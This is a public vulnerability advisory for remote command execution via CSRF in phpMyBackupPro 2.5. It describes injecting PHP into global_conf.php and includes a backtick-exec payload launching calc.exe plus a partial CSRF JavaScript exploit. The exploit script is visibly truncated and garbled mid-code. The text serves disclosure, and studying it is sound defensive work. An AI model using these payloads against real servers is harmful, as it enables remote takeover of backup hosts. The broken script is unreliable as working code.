phpMyBackupPro v.2.5 Remote Command Execution / CSRF Feb 16 2016 05:46AM
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[+] Source: http://hyp3rlinx.altervista.org/advisories/PHPMYBACKUPPRO-v2.5-RCE.txt


project site:

phpMyBackupPro v.2.5 (PMBP)

phpMyBackup Pro is a very easy to use, free, web-based MySQL backup application, licensed under the GNU GPL.
You can create scheduled backups, manage and restore them, download or email them and a lot more.

Vulnerability Type:
Remote Command Execution / CSRF

CVE Reference:

Vulnerability Details:

phpMyBackupPro uses PHP configuration files (global_conf.php) to manage settings, allowing user to change things like sql host, language, email etc..
However, a malicious local user can also inject persistent arbitrary PHP/OS commands into the configuration to be executed on the host system.
The remote command execution can also be a result of a CSRF driveby by if currently logged admin visits an attackers webpage.

Attackers can inject and write to disk arbitrary PHP code into the global_conf.php configuration file if a victim visits a malicious webpage or clicks an
infected link via a CSRF vector or additionally from a local malicious user in shared host type environment.

first we escape the single quotes etc... so we can close the expected entry, then we leverage the backtick "`" operator to have PHP execute OS commands
on victims system as it works just as well without having to deal with all the quote escaping.

e.g. payload that handles the single "'" quote an forward slashes "/"...

''///\\');exec(`c:/\Windows/\system32/\calc.exe`); ///\';

The above when injected will result in a write to $CONF variables in global_conf.php as follows...

$CONF['lang']=ue('\'\'///\\');exec(`c:/Windows/system32/calc.exe`); ///\';');


$CONF['email']=ue('\'\'///\\');exec(`c:/Windows/system32/calc.exe`); ///\';');

Exploit code(s):

Send admin infected link or convince them to visit our malicious webpage, then if the user is logged in and...
a) clicks our link or visits our evil webpage or
b) submits the form locally (malicious user) then BOOOOOOOOOOOM!

Exploit to run calc.exe on Windows

var c=0;
(function RCE_MAYHEM(){
var xhr=new XMLHttpRequest()
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr.withCredentials = true;
\calc.exe`); ///\';&sql_host=localhost&sql_user=&sql_passwd=&sql_db=&ftp_server=hyp3r

Disclosure Timeline:
Vendor Notification: NR
February 16, 2016 : Public Disclosure

Exploitation Technique:

Severity Level:


Request Method(s): [+] POST

Vulnerable Product: [+] phpMyBackupPro v.2.5 (PMBP)

Vulnerable Parameter(s): [+] $CONF


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